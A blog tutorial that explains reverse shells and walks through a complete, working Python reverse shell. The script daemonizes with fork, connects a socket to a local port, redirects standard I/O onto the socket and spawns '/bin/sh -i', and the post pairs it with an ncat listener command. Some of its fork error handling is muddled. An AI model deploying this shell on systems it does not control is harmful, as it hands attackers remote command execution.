Implementing a reverse shell with sockets

Implementing a reverse shell with sockets

A reverse shell is a type of shell in which the target machine initiates a connection back to the attacker’s machine, giving the attacker control over the target system. In a typical shell connection, the client (attacker) connects to the server (target) to execute commands. However, in a reverse shell scenario, the flow is reversed.

Here’s how a reverse shell typically works:

  1. Payload Generation:
    • The attacker creates a payload, often a script or executable, that will be executed on the target system.
    • The payload includes code to establish a reverse connection to the attacker’s machine.
  2. Payload Execution on the Target:
    • The attacker somehow delivers the payload to the target system. This can be through exploiting vulnerabilities, social engineering, or other means.
    • Once the payload is executed on the target system, it initiates a connection back to the attacker’s machine.
  3. Connection Establishment:
    • The attacker listens for incoming connections on their machine using a listener or a specific service.
    • When the target system executes the payload, it connects back to the attacker’s machine, establishing a reverse shell.
  4. Interactive Control:
    • With the reverse shell established, the attacker gains interactive control over the target system.
    • The attacker can now execute commands on the target system, access files, manipulate the file system, and perform various actions.

Reverse shells are commonly used in penetration testing, ethical hacking, and other security-related activities for legitimate purposes, such as testing the security of a network or system. However, they can also be exploited for malicious activities if deployed by attackers with malicious intent.

Security measures, including firewalls, intrusion detection systems, and proper access controls, are essential to prevent unauthorized reverse shell connections and protect systems from potential exploitation.

Reverse shell with sockets

Shebang and Importing Modules

Python
#!/usr/bin/python

import socket
import subprocess
import os
  • Shebang and Import: Specifies the shebang line to indicate the Python interpreter to be used. Imports the necessary modules: socket, subprocess, and os.

Creating a Socket

Python
socket_handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Creating a Socket: Creates a TCP socket (socket_handler) using socket.AF_INET for IPv4 and socket.SOCK_STREAM for a stream-oriented connection (TCP).

Forking a Process (Daemonization)

Python
try:
    if os.fork() > 0:
        os._exit(0)
except OSError as error:
    print('Error in fork process: %d (%s)' % (error.errno, error.strerror))
    pid = os.fork()
    if pid > 0:
        print('Fork Not Valid!')
  • Forking a Process: Attempts to fork a new process. The os.fork() creates a child process. The parent process exits (os._exit(0)) to run the child process in the background.

Connecting to a Remote Host

Python
socket_handler.connect(("127.0.0.1", 45679))
  • Connecting to a Remote Host: Initiates a connection to the specified remote host (127.0.0.1) and port (45679).

Redirecting Standard I/O to the Socket

Python
os.dup2(socket_handler.fileno(), 0)
os.dup2(socket_handler.fileno(), 1)
os.dup2(socket_handler.fileno(), 2)
  • Redirecting Standard I/O: Duplicates the socket file descriptor to standard input (0), standard output (1), and standard error (2). This effectively redirects the input and output streams to the socket.

Executing Shell Commands

Python
shell_remote = subprocess.call(["/bin/sh", "-i"])
list_files = subprocess.call(["/bin/ls", "-i"])
  • Executing Shell Commands: Calls subprocesses to execute shell commands.
    • subprocess.call(["/bin/sh", "-i"]): Launches an interactive shell.
    • subprocess.call(["/bin/ls", "-i"]): Lists files using the ls command.
Python
#!/usr/bin/python

#ncat -l -v -p 45679

import socket
import subprocess
import os

socket_handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    if os.fork() > 0:
        os._exit(0)
except OSError as error:
    print('Error in fork process: %d (%s)' % (error.errno, error.strerror))
    pid = os.fork()
    if pid > 0:
        print('Fork Not Valid!')
        
socket_handler.connect(("127.0.0.1", 45679))

os.dup2(socket_handler.fileno(),0)
os.dup2(socket_handler.fileno(),1)
os.dup2(socket_handler.fileno(),2)

shell_remote = subprocess.call(["/bin/sh", "-i"])
list_files = subprocess.call(["/bin/ls", "-i"])

This script demonstrates a basic implementation of a reverse shell. After connecting to a remote host, it redirects the standard I/O to the socket, creating an interactive shell. The script also includes a couple of examples of executing shell commands (/bin/sh and /bin/ls). Note that the script assumes a local listener on port 45679 (ncat -l -v -p 45679). This type of script is often used in security testing and ethical hacking scenarios for educational purposes.

Total
3
Shares

Leave a Reply

Previous Post
Implementing an http server in python

Implementing an http server in python

Next Post
Resolving IPS domains, addresses, managing exception and reverse lookup command

Resolving IPS domains, addresses, managing exception and reverse lookup command

Related Posts